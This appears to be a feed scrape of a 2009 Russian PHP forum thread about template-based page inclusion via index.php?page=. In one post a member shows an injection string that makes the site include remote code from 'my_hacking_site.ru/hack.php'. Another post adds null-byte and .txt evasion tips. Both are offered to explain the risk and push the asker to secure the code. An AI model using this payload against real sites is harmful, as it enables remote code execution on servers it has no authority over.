http://softtime.ru/forumhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post389583Все достаточно просто: БД --- id | url | name | file 1 | news | новости | news.php 2...Сайт по кирпичикам схема темплейтаWed, 22 Jul 2009 10:01:32 +0300Петрhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post372746Спасибо за анализ, если не трудно напишите хотябы защитить этот код или может другой вариант разделения дизайна и наполнения с...Сайт по кирпичикам схема темплейтаSun, 5 Apr 2009 21:42:01 +0300belvisionhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post372735Да, только, вместо hack.php следует использовать hack.txt, ну или выводить в hack.txt PHP-код в консоль и обычно манипулируют нулевым байтом...Сайт по кирпичикам схема темплейтаSun, 5 Apr 2009 18:21:35 +0300cheopshttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post372728А если я вместо имени файла подставлю в запросе такую строку?Код ;include("http://my_hacking_site.ru/hack.php");$file= В результате на сайте отработает код:PHP $file="txt/"; include("http://my_hacking_site.ru/hack.php");...Сайт по кирпичикам схема темплейтаSun, 5 Apr 2009 17:47:49 +0300belvisionhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364755Вообще basename() не должен позволять выполнять эксплоиты на вашем сайте, но использование переменных, формируемых с использованием внешних данных, считается плохим...Сайт по кирпичикам схема темплейтаFri, 13 Feb 2009 19:53:04 +0300cheopshttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364705Так подскажите пожалуйста как это доработать чтобы было безопасно и интерестно каких эксплойтов и чем это реально грозит.Сайт по кирпичикам схема темплейтаFri, 13 Feb 2009 17:11:48 +0300belvisionhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364478Вам эксплойтов тут же насуют чрез это решение. Сайт по кирпичикам схема темплейтаWed, 11 Feb 2009 23:57:02 +0300Trianonhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364475Вот ребята подсказали гениальное решение этой проблемы http://phpfaq.ru/easy/?code Этот сайт построен на основе навороченной CMS все страницы хранятся в каталоге...Сайт по кирпичикам схема темплейтаWed, 11 Feb 2009 23:22:13 +0300belvisionhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364470а зачем? Зачем пытаться дорабатывать именно этот дерь... сырь... код?Сайт по кирпичикам схема темплейтаWed, 11 Feb 2009 22:40:26 +0300Trianonhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364469Подскажите как доработать код то есть как определить переменную чтобы всё заработалоСайт по кирпичикам схема темплейтаWed, 11 Feb 2009 22:32:02 +0300belvisionhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364468Эта же переменная определяется в ссылке index.php?page=news здесь написано что переменная в этой ссылке ровна news В функции text() то...Сайт по кирпичикам схема темплейтаWed, 11 Feb 2009 22:25:50 +0300AcidTrashhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364466Как не определена? Эта же переменная определяется в ссылке index.php?page=news здесь написано что переменная в этой ссылке ровна newsСайт по кирпичикам схема темплейтаWed, 11 Feb 2009 22:15:32 +0300belvisionhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364464" Я поставил ссылку вида index.php?page=photo но она не работает по прежнему остаётся информация из файла news.txt У Вас в...Сайт по кирпичикам схема темплейтаWed, 11 Feb 2009 22:06:54 +0300BinLadenhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=62481#post364463В Интернете есть пример сборки сайта по схеме при которой дизайн сайта отделяется от его наполнения вопрос как сжелать ссылки...Сайт по кирпичикам схема темплейтаWed, 11 Feb 2009 21:59:40 +0300belvision